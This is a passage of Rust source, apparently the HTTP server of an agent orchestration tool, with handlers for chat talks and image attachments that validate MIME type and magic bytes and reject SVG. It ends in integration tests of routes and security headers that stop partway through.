7157 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7158 Ok(talk)
7159 })
7160 .await
7161 };
7162 let fresh = {
7167 let ui = Arc::clone(&ui);
7168 let id = id.clone();
7169 blocking(move || Ok(ui.talks.get(&id)?)).await
7170 };
7171 let draining = match fresh {
7172 Ok(talk) => {
7173 let draining = talk.status.open()
7174 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7175 let talks = ui.talks.clone();
7176 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7177 draining
7178 }
7179 Err(_) => false,
7180 };
7181 let talk = switched?;
7182 Ok(Json(TalkView::new(talk, draining)))
7183}
7184
7185#[derive(Debug, Deserialize)]
7187struct TalkPersona {
7188 persona: String,
7189}
7190
7191async fn talk_persona(
7195 State(ui): State<Arc<Ui>>,
7196 Path(id): Path<String>,
7197 Json(body): Json<TalkPersona>,
7198) -> ApiResult<Json<TalkView>> {
7199 let id = {
7200 let ui = Arc::clone(&ui);
7201 blocking(move || resolve_talk(&ui.talks, &id)).await?
7202 };
7203 let repo = {
7204 let ui = Arc::clone(&ui);
7205 let id = id.clone();
7206 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7207 };
7208 let cfg = config_for(&repo).await?;
7209 {
7211 let ui = Arc::clone(&ui);
7212 let id = id.clone();
7213 let cfg = cfg.clone();
7214 let wanted = body.persona.clone();
7215 blocking(move || {
7216 if persona::find(&cfg.talk.personas, &wanted).is_none() {
7217 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7218 }
7219 refuse_if_closed(&ui.talks.get(&id)?)
7220 })
7221 .await?;
7222 }
7223 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7224 return Err(ApiError::conflict(
7225 "a talk turn is running; change the persona once it has answered",
7226 ));
7227 };
7228 let switched = {
7229 let ui = Arc::clone(&ui);
7230 let id = id.clone();
7231 let cfg = cfg.clone();
7232 blocking(move || {
7233 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7234 return Err(ApiError::bad_request(format!(
7235 "unknown persona `{}`",
7236 body.persona
7237 )));
7238 };
7239 let mut talk = ui.talks.get(&id)?;
7240 if !talk.status.open() {
7241 return Err(ApiError::conflict(format!(
7242 "talk {} is {} and takes no more turns",
7243 talk.short(),
7244 talk.status.as_str()
7245 )));
7246 }
7247 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7248 Ok(talk)
7249 })
7250 .await
7251 };
7252 let fresh = {
7254 let ui = Arc::clone(&ui);
7255 let id = id.clone();
7256 blocking(move || Ok(ui.talks.get(&id)?)).await
7257 };
7258 let draining = match fresh {
7259 Ok(talk) => {
7260 let draining = talk.status.open()
7261 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7262 let talks = ui.talks.clone();
7263 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7264 draining
7265 }
7266 Err(_) => false,
7267 };
7268 let talk = switched?;
7269 Ok(Json(TalkView::new(talk, draining)))
7270}
7271
7272#[derive(Debug, Deserialize)]
7274struct TalkImplementers {
7275 implementers: u8,
7276}
7277
7278async fn talk_implementers(
7282 State(ui): State<Arc<Ui>>,
7283 Path(id): Path<String>,
7284 Json(body): Json<TalkImplementers>,
7285) -> ApiResult<Json<TalkView>> {
7286 let id = {
7287 let ui = Arc::clone(&ui);
7288 blocking(move || resolve_talk(&ui.talks, &id)).await?
7289 };
7290 let repo = {
7291 let ui = Arc::clone(&ui);
7292 let id = id.clone();
7293 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7294 };
7295 let cfg = config_for(&repo).await?;
7296 {
7301 let ui = Arc::clone(&ui);
7302 let id = id.clone();
7303 let cfg = cfg.clone();
7304 let wanted = body.implementers;
7305 blocking(move || {
7306 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7307 refuse_if_closed(&ui.talks.get(&id)?)
7308 })
7309 .await?;
7310 }
7311 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7312 return Err(ApiError::conflict(
7313 "a talk turn is running; change the implementers once it has answered",
7314 ));
7315 };
7316 let switched = {
7317 let ui = Arc::clone(&ui);
7318 let id = id.clone();
7319 let cfg = cfg.clone();
7320 blocking(move || {
7321 let chosen =
7322 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7323 let mut talk = ui.talks.get(&id)?;
7324 if !talk.status.open() {
7325 return Err(ApiError::conflict(format!(
7326 "talk {} is {} and takes no more turns",
7327 talk.short(),
7328 talk.status.as_str()
7329 )));
7330 }
7331 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7332 Ok(talk)
7333 })
7334 .await
7335 };
7336 let fresh = {
7338 let ui = Arc::clone(&ui);
7339 let id = id.clone();
7340 blocking(move || Ok(ui.talks.get(&id)?)).await
7341 };
7342 let draining = match fresh {
7343 Ok(talk) => {
7344 let draining = talk.status.open()
7345 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7346 let talks = ui.talks.clone();
7347 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7348 draining
7349 }
7350 Err(_) => false,
7351 };
7352 let talk = switched?;
7353 Ok(Json(TalkView::new(talk, draining)))
7354}
7355
7356async fn talk_close(
7358 State(ui): State<Arc<Ui>>,
7359 Path(id): Path<String>,
7360) -> ApiResult<Json<TalkView>> {
7361 blocking(move || {
7362 let id = resolve_talk(&ui.talks, &id)?;
7363 let mut talk = ui.talks.get(&id)?;
7364 talk::close(&mut talk, &ui.talks)?;
7365 let thinking = ui.is_thinking(&talk.id);
7366 Ok(Json(TalkView::new(talk, thinking)))
7367 })
7368 .await
7369}
7370
7371async fn talk_reopen(
7373 State(ui): State<Arc<Ui>>,
7374 Path(id): Path<String>,
7375) -> ApiResult<Json<TalkView>> {
7376 blocking(move || {
7377 let id = resolve_talk(&ui.talks, &id)?;
7378 let mut talk = ui.talks.get(&id)?;
7379 talk::reopen(&mut talk, &ui.talks)?;
7380 let thinking = ui.is_thinking(&talk.id);
7381 Ok(Json(TalkView::new(talk, thinking)))
7382 })
7383 .await
7384}
7385
7386async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7396 blocking(move || {
7397 let id = resolve_talk(&ui.talks, &id)?;
7398 ui.talks.remove(&id)?;
7399 Ok(StatusCode::NO_CONTENT)
7400 })
7401 .await
7402}
7403
7404fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7406 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7407}
7408
7409async fn talk_attachment_post(
7412 State(ui): State<Arc<Ui>>,
7413 Path(id): Path<String>,
7414 headers: HeaderMap,
7415 body: Bytes,
7416) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7417 let mime = validate_attachment(&headers, &body)?;
7418 let name = filename_header(&headers);
7419 let data = body.to_vec();
7420 blocking(move || {
7421 let id = resolve_talk(&ui.talks, &id)?;
7422 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7423 Ok((StatusCode::CREATED, Json(att)))
7424 })
7425 .await
7426}
7427
7428async fn talk_attachment_get(
7431 State(ui): State<Arc<Ui>>,
7432 Path((id, att)): Path<(String, String)>,
7433) -> ApiResult<Response> {
7434 blocking(move || {
7435 let id = resolve_talk(&ui.talks, &id)?;
7436 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7437 return Err(ApiError::not_found(format!(
7438 "talk {id} has no attachment `{att}`"
7439 )));
7440 };
7441 Ok(attachment_response(&meta.mime, data))
7442 })
7443 .await
7444}
7445
7446fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7457 if data.len() > ATTACHMENT_MAX_BYTES {
7458 return Err(ApiError::bad_request(format!(
7459 "attachment is {} bytes, over the {} MiB limit",
7460 data.len(),
7461 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7462 ))
7463 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7464 }
7465 if data.is_empty() {
7466 return Err(ApiError::bad_request("attachment is empty"));
7467 }
7468 let declared = declared_mime(headers)?;
7469 match sniffed_mime(data) {
7470 Some(sniffed) if sniffed == declared => Ok(declared),
7471 Some(sniffed) => Err(ApiError::bad_request(format!(
7472 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7473 ))),
7474 None => Err(ApiError::bad_request(
7475 "the file's bytes do not match any accepted image format",
7476 )),
7477 }
7478}
7479
7480fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7484 let raw = headers
7485 .get(header::CONTENT_TYPE)
7486 .and_then(|v| v.to_str().ok())
7487 .unwrap_or("")
7488 .split(';')
7489 .next()
7490 .unwrap_or("")
7491 .trim()
7492 .to_ascii_lowercase();
7493 ATTACHMENT_MIME_WHITELIST
7494 .iter()
7495 .find(|&&m| m == raw)
7496 .copied()
7497 .ok_or_else(|| {
7498 if raw == "image/svg+xml" {
7499 ApiError::bad_request(
7500 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7501 not just a picture",
7502 )
7503 } else if raw.is_empty() {
7504 ApiError::bad_request("Content-Type is required for an attachment upload")
7505 } else {
7506 ApiError::bad_request(format!(
7507 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7508 image/gif or image/webp"
7509 ))
7510 }
7511 })
7512}
7513
7514fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7517 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7518 Some("image/png")
7519 } else if data.starts_with(b"\xff\xd8\xff") {
7520 Some("image/jpeg")
7521 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7522 Some("image/gif")
7523 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7524 Some("image/webp")
7525 } else {
7526 None
7527 }
7528}
7529
7530fn filename_header(headers: &HeaderMap) -> String {
7536 headers
7537 .get(FILENAME_HEADER)
7538 .and_then(|v| v.to_str().ok())
7539 .map(str::trim)
7540 .filter(|s| !s.is_empty())
7541 .unwrap_or("attachment")
7542 .to_owned()
7543}
7544
7545fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7552 let content_type = ATTACHMENT_MIME_WHITELIST
7553 .iter()
7554 .find(|&&m| m == mime)
7555 .copied()
7556 .unwrap_or("application/octet-stream");
7557 (
7558 [
7559 (header::CONTENT_TYPE, content_type),
7560 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7561 ],
7562 body,
7563 )
7564 .into_response()
7565}
7566
7567async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7575 let repo = repo.to_path_buf();
7576 blocking(move || {
7577 let (cfg, _) = Config::discover(&repo, None)?;
7578 Ok(cfg)
7579 })
7580 .await
7581}
7582
7583fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7589 let mut hits = ids
7590 .into_iter()
7591 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7592 match (hits.next(), hits.next()) {
7593 (Some(one), None) => Ok(one),
7594 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7595 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7596 "`{prefix}` matches more than one {what}, including {a} and {b}"
7597 ))),
7598 }
7599}
7600
7601#[cfg(test)]
7602mod tests {
7603
7604 #[test]
7605 fn holder_reads_the_lease_not_the_record() {
7606 let mut q = Question::new(
7607 "run".to_owned(),
7608 "implement".to_owned(),
7609 "impl-A".to_owned(),
7610 "which?".to_owned(),
7611 String::new(),
7612 Vec::new(),
7613 );
7614 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7615 q.cwd = Some("/tmp".to_owned());
7616 assert_eq!(holder_of(&q, None), Some("nobody"));
7617 let beat = |kind, ago: i64| ask::Lease {
7618 kind,
7619 pid: 1,
7620 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7621 .unwrap(),
7622 };
7623 let fresh = beat(ask::WaiterKind::Asker, 1);
7624 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7625 let daemon = beat(ask::WaiterKind::Daemon, 1);
7626 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7627 let stale = beat(ask::WaiterKind::Asker, 3600);
7628 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7629
7630 let mut c = Question::new(
7633 "task".to_owned(),
7634 crate::conduct::NODE.to_owned(),
7635 "conduct".to_owned(),
7636 "which?".to_owned(),
7637 String::new(),
7638 Vec::new(),
7639 );
7640 assert_eq!(holder_of(&c, None), Some("nobody"));
7641 c.cwd = Some("/tmp".to_owned());
7642 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7643 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7644 let deputy = beat(ask::WaiterKind::Deputy, 1);
7645 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7646 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7647
7648 let mut r = Question::new(
7650 String::new(),
7651 crate::bump::NOTICE_NODE.to_owned(),
7652 "release-watch".to_owned(),
7653 "stuck?".to_owned(),
7654 String::new(),
7655 vec!["hold".to_owned()],
7656 );
7657 assert_eq!(holder_of(&r, None), Some("nobody"));
7658 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7659 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7660 r.deputy = None;
7662 r.seat = "bump".to_owned();
7663 assert_eq!(holder_of(&r, None), None);
7664
7665 let mut m = Question::new(
7668 "run".to_owned(),
7669 crate::land::APPROVAL_NODE.to_owned(),
7670 "land".to_owned(),
7671 "merge?".to_owned(),
7672 String::new(),
7673 Vec::new(),
7674 );
7675 assert_eq!(holder_of(&m, None), Some("nobody"));
7676 assert_eq!(
7677 holder_of(&m, Some(&fresh)),
7678 Some("nobody"),
7679 "a lease with no deputy is not a listener"
7680 );
7681 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7682 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7683 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7684 assert_eq!(holder_of(&m, None), Some("nobody"));
7685 }
7686
7687 fn stub_config() -> Config {
7688 Config {
7691 agents: vec![crate::config::AgentSpec {
7692 id: "stub".to_owned(),
7693 kind: AgentKind::Command,
7694 model: None,
7695 command: vec!["true".to_owned()],
7696 extra_args: Vec::new(),
7697 env: Default::default(),
7698 prompt_delivery: None,
7699 }],
7700 ..Config::default()
7701 }
7702 }
7703
7704 fn plain_question(seat: &str) -> Question {
7705 Question::new(
7706 String::new(),
7707 "n".to_owned(),
7708 seat.to_owned(),
7709 "s".to_owned(),
7710 String::new(),
7711 Vec::new(),
7712 )
7713 }
7714
7715 #[test]
7716 fn deputies_enabled_follows_the_config() {
7717 let on = stub_config();
7718 assert!(crate::deputy::can_start(Some(&on), ""));
7719 assert!(crate::deputy::can_start(Some(&on), "stub"));
7720 let mut off = on.clone();
7721 off.daemon.max_deputies = 0;
7722 assert!(!crate::deputy::can_start(Some(&off), ""));
7723 let mut empty = on;
7724 empty.agents.clear();
7725 assert!(!crate::deputy::can_start(Some(&empty), ""));
7726 assert!(!crate::deputy::can_start(None, ""));
7727 }
7728
7729 #[test]
7730 fn question_views_load_the_config_once() {
7731 let dir = TempDir::new().unwrap();
7732 let store = ask::Questions::at(dir.path().to_path_buf());
7733 let mut with_deputy = plain_question("b");
7734 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7735 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7736
7737 let calls = std::cell::Cell::new(0usize);
7738 let views = question_views(qs.clone(), &store, || {
7739 calls.set(calls.get() + 1);
7740 Some(stub_config())
7741 });
7742 assert_eq!(calls.get(), 1);
7743 assert_eq!(views.len(), 3);
7744 for (v, q) in views.iter().zip(&qs) {
7745 assert_eq!(
7746 v.deputies_enabled,
7747 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7748 );
7749 }
7750
7751 let views = question_views(qs, &store, || None);
7752 assert!(views.iter().all(|v| !v.deputies_enabled));
7753
7754 let calls = std::cell::Cell::new(0usize);
7755 let views = question_views(Vec::new(), &store, || {
7756 calls.set(calls.get() + 1);
7757 None
7758 });
7759 assert!(views.is_empty());
7760 assert_eq!(calls.get(), 0);
7761 }
7762
7763 use pretty_assertions::assert_eq;
7764 use serde_json::Value;
7765 use tempfile::TempDir;
7766 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7767
7768 use super::*;
7769 use crate::config::Config;
7770 use crate::queue::Source;
7771
7772 const SETTLE_STEPS: usize = 3_000;
7783
7784 struct Fixture {
7790 home: TempDir,
7791 addr: SocketAddr,
7792 }
7793
7794 impl Fixture {
7795 async fn start() -> Self {
7796 Self::with_loop(launch_idle).await
7797 }
7798
7799 async fn with_loop(launch: Launch) -> Self {
7801 let home = TempDir::new().expect("temp home");
7802 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7803 Self { home, addr }
7804 }
7805
7806 async fn with_repo(repo: PathBuf) -> Self {
7810 let home = TempDir::new().expect("temp home");
7811 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7812 Self { home, addr }
7813 }
7814
7815 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7818 let home = TempDir::new().expect("temp home");
7819 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7820 Self { home, addr }
7821 }
7822
7823 async fn serve(
7824 home: &FsPath,
7825 repo: PathBuf,
7826 launch: Launch,
7827 machine: Option<PathBuf>,
7828 ) -> SocketAddr {
7829 let queue = Queue::at(home.join("queue"));
7830 let runs = home.join("runs");
7831 std::fs::create_dir_all(&runs).expect("runs dir");
7832 let worktrees = home.join("wt").join("magi");
7833 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7834 let ui = Ui::new(
7835 queue,
7836 Questions::at(home.join("questions")),
7837 Talks::at(home.join("talks")),
7838 runs,
7839 home.to_path_buf(),
7840 repo,
7841 )
7842 .with_worktrees_root(worktrees)
7843 .with_machine_config(machine)
7844 .with_launch(launch);
7845 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7846 .await
7847 .expect("bind loopback");
7848 let addr = listener.local_addr().expect("local addr");
7849 tokio::spawn(async move {
7850 let _ = axum::serve(listener, ui.router()).await;
7851 });
7852 addr
7853 }
7854
7855 fn queue(&self) -> Queue {
7856 Queue::at(self.home.path().join("queue"))
7857 }
7858
7859 fn questions(&self) -> Questions {
7860 Questions::at(self.home.path().join("questions"))
7861 }
7862
7863 fn talks(&self) -> Talks {
7864 Talks::at(self.home.path().join("talks"))
7865 }
7866
7867 fn runs(&self) -> PathBuf {
7868 self.home.path().join("runs")
7869 }
7870
7871 async fn get(&self, path: &str) -> Res {
7872 request(self.addr, "GET", path, None).await
7873 }
7874
7875 async fn head(&self, path: &str) -> Res {
7880 request(self.addr, "HEAD", path, None).await
7881 }
7882
7883 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7884 request(self.addr, "POST", path, body).await
7885 }
7886
7887 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7888 request_with(self.addr, "GET", path, None, extra).await
7889 }
7890
7891 async fn delete(&self, path: &str) -> Res {
7892 request(self.addr, "DELETE", path, None).await
7893 }
7894
7895 async fn put(&self, path: &str, body: &str) -> Res {
7896 request(self.addr, "PUT", path, Some(body)).await
7897 }
7898
7899 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7901 request_bytes(self.addr, path, headers, body).await
7902 }
7903 }
7904
7905 struct Res {
7906 status: u16,
7907 headers: String,
7908 head: String,
7913 body: String,
7914 bytes: Vec<u8>,
7918 }
7919
7920 impl Res {
7921 fn json(&self) -> Value {
7922 serde_json::from_str(&self.body)
7923 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7924 }
7925
7926 fn header(&self, name: &str) -> Option<&str> {
7928 self.head.lines().find_map(|line| {
7929 let (key, value) = line.split_once(':')?;
7930 key.trim()
7931 .eq_ignore_ascii_case(name)
7932 .then(|| value.trim_start().trim_end_matches('\r'))
7933 })
7934 }
7935 }
7936
7937 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7940 request_with(addr, method, path, body, &[]).await
7941 }
7942
7943 async fn request_with(
7947 addr: SocketAddr,
7948 method: &str,
7949 path: &str,
7950 body: Option<&str>,
7951 extra: &[(&str, &str)],
7952 ) -> Res {
7953 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7954 for (name, value) in extra {
7955 head.push_str(&format!("{name}: {value}\r\n"));
7956 }
7957 if let Some(body) = body {
7958 head.push_str("Content-Type: application/json\r\n");
7959 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7960 }
7961 head.push_str("\r\n");
7962 if let Some(body) = body {
7963 head.push_str(body);
7964 }
7965 let mut socket = tokio::net::TcpStream::connect(addr)
7966 .await
7967 .expect("connect to the test server");
7968 socket
7969 .write_all(head.as_bytes())
7970 .await
7971 .expect("write request");
7972 let mut raw = Vec::new();
7973 socket.read_to_end(&mut raw).await.expect("read response");
7974 let split = raw
7977 .windows(4)
7978 .position(|w| w == b"\r\n\r\n")
7979 .expect("a header block");
7980 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7981 let bytes = raw[split + 4..].to_vec();
7982 let status = head
7983 .lines()
7984 .next()
7985 .and_then(|line| line.split_whitespace().nth(1))
7986 .and_then(|code| code.parse().ok())
7987 .expect("a status line");
7988 Res {
7989 status,
7990 headers: head.to_lowercase(),
7991 head,
7992 body: String::from_utf8_lossy(&bytes).into_owned(),
7993 bytes,
7994 }
7995 }
7996
7997 async fn request_bytes(
8003 addr: SocketAddr,
8004 path: &str,
8005 headers: &[(&str, &str)],
8006 body: &[u8],
8007 ) -> Res {
8008 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8009 for (name, value) in headers {
8010 head.push_str(&format!("{name}: {value}\r\n"));
8011 }
8012 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8013 let mut socket = tokio::net::TcpStream::connect(addr)
8014 .await
8015 .expect("connect to the test server");
8016 socket
8017 .write_all(head.as_bytes())
8018 .await
8019 .expect("write request head");
8020 socket.write_all(body).await.expect("write request body");
8021 let mut raw = Vec::new();
8022 socket.read_to_end(&mut raw).await.expect("read response");
8023 let split = raw
8024 .windows(4)
8025 .position(|w| w == b"\r\n\r\n")
8026 .expect("a header block");
8027 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8028 let bytes = raw[split + 4..].to_vec();
8029 let status = head
8030 .lines()
8031 .next()
8032 .and_then(|line| line.split_whitespace().nth(1))
8033 .and_then(|code| code.parse().ok())
8034 .expect("a status line");
8035 Res {
8036 status,
8037 headers: head.to_lowercase(),
8038 head,
8039 body: String::from_utf8_lossy(&bytes).into_owned(),
8040 bytes,
8041 }
8042 }
8043
8044 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8046 let mut state = RunState::new(
8047 PathBuf::from("/repo/magi"),
8048 "main".to_owned(),
8049 "0123456789abcdef".to_owned(),
8050 "Add a web UI\n\nMobile first.".to_owned(),
8051 Config::default(),
8052 );
8053 state.id = id.to_owned();
8054 state.status = status;
8055 let dir = runs.join(id);
8056 std::fs::create_dir_all(&dir).expect("run dir");
8057 std::fs::write(
8058 dir.join("run.json"),
8059 serde_json::to_string_pretty(&state).expect("serialize run"),
8060 )
8061 .expect("write run.json");
8062 }
8063
8064 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8068 let mut state = RunState::new(
8069 PathBuf::from(repo),
8070 "main".to_owned(),
8071 "0123456789abcdef".to_owned(),
8072 "task".to_owned(),
8073 Config::default(),
8074 );
8075 state.id = id.to_owned();
8076 state.status = status;
8077 let dir = runs.join(id);
8078 std::fs::create_dir_all(&dir).expect("run dir");
8079 std::fs::write(
8080 dir.join("run.json"),
8081 serde_json::to_string_pretty(&state).expect("serialize run"),
8082 )
8083 .expect("write run.json");
8084 }
8085
8086 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8087 let body = serde_json::json!({
8088 "schema": 1,
8089 "pid": 4242,
8090 "started_at": Timestamp::now().to_string(),
8091 "updated_at": updated_at.to_string(),
8092 "idle": false,
8093 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8094 "completed": 7,
8095 "polls": 143,
8096 });
8097 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8098 }
8099
8100 fn launch_idle(
8110 _opts: daemon::Opts,
8111 stop: daemon::Stop,
8112 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8113 Box::pin(async move {
8114 while !stop.stopped() {
8115 tokio::time::sleep(Duration::from_millis(2)).await;
8116 }
8117 Ok(())
8118 })
8119 }
8120
8121 fn launch_broken(
8124 _opts: daemon::Opts,
8125 _stop: daemon::Stop,
8126 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8127 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8132 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8133 Box::pin(async move {
8134 Err(anyhow::anyhow!(if first {
8135 "publish the daemon status file: read-only file system"
8136 } else {
8137 "the restarted stand-in failed as well"
8138 }))
8139 })
8140 }
8141
8142 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8149 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8150
8151 fn launch_knocking_on_the_way_out(
8158 _opts: daemon::Opts,
8159 stop: daemon::Stop,
8160 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8161 Box::pin(async move {
8162 while !stop.stopped() {
8163 tokio::time::sleep(Duration::from_millis(2)).await;
8164 }
8165 let addr = PARK_KNOCK
8166 .lock()
8167 .expect("park knock")
8168 .expect("the test set an address");
8169 let heard = request(addr, "GET", "/api/health", None).await.status;
8170 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8171 Ok(())
8172 })
8173 }
8174
8175 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8184 for _ in 0..SETTLE_STEPS {
8185 let view = fx.get("/api/loop").await.json();
8186 if want(&view) {
8187 return view;
8188 }
8189 tokio::time::sleep(Duration::from_millis(10)).await;
8190 }
8191 panic!(
8192 "the loop never settled: {}",
8193 fx.get("/api/loop").await.json()
8194 );
8195 }
8196
8197 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8199 let store = fx.questions();
8200 let mut q = Question::new(
8201 "20260902-000000-beef".to_owned(),
8202 "implement".to_owned(),
8203 "impl-A".to_owned(),
8204 summary.to_owned(),
8205 "because it matters".to_owned(),
8206 choices.iter().map(|c| (*c).to_owned()).collect(),
8207 );
8208 store.put(&mut q).expect("put question");
8209 q.id
8210 }
8211
8212 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8218 let store = fx.questions();
8219 let mut q = Question::new(
8220 "20260902-000000-beef".to_owned(),
8221 "land".to_owned(),
8222 "fix".to_owned(),
8223 "Merge this?".to_owned(),
8224 "the diff is in the panel".to_owned(),
8225 vec!["merge".to_owned(), "hold".to_owned()],
8226 );
8227 let staging = fx.home.path().join("staging");
8230 std::fs::create_dir_all(&staging).expect("staging dir");
8231 let sources: Vec<PathBuf> = assets
8232 .iter()
8233 .map(|(name, bytes)| {
8234 let path = staging.join(name);
8235 std::fs::write(&path, bytes).expect("write staged asset");
8236 path
8237 })
8238 .collect();
8239 store
8240 .put_panel(&mut q, html, &sources)
8241 .expect("write the panel");
8242 store.put(&mut q).expect("put question");
8243 q.id
8244 }
8245
8246 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8255 seed_talk_at(&fx.talks(), id, status)
8256 }
8257
8258 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8259 std::fs::create_dir_all(store.root()).expect("talks dir");
8260 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8261 .expect("serialize a seat");
8262 let body = serde_json::json!({
8263 "schema": 1,
8264 "id": id,
8265 "repo": "/repo/magi",
8266 "agent": "mock",
8267 "status": status,
8268 "turns": [],
8269 "created_at": Timestamp::now().to_string(),
8270 "updated_at": Timestamp::now().to_string(),
8271 "seat": seat,
8272 });
8273 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8274 store.get(id).expect("the seeded talk has to be readable");
8275 id.to_owned()
8276 }
8277
8278 #[tokio::test]
8279 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8280 let fx = Fixture::start().await;
8281 let id = panel(
8282 &fx,
8283 "<h1>Merge?</h1><img src=\"diff.svg\">",
8284 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8285 );
8286
8287 for path in [
8288 format!("/api/questions/{id}/panel"),
8289 format!("/api/questions/{id}/asset/diff.svg"),
8290 ] {
8291 let res = fx.get(&path).await;
8292 assert_eq!(res.status, 200, "{path}: {}", res.body);
8293 assert_eq!(
8299 res.header("content-security-policy"),
8300 Some(
8301 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8302 font-src data:; base-uri 'none'; form-action 'none'; \
8303 frame-ancestors 'self'"
8304 ),
8305 "{path} is the only thing between a hostile panel and the tailnet"
8306 );
8307 assert_eq!(
8308 res.header("x-content-type-options"),
8309 Some("nosniff"),
8310 "{path}: a browser must not re-decide the type we sent"
8311 );
8312 assert_eq!(
8313 res.header("referrer-policy"),
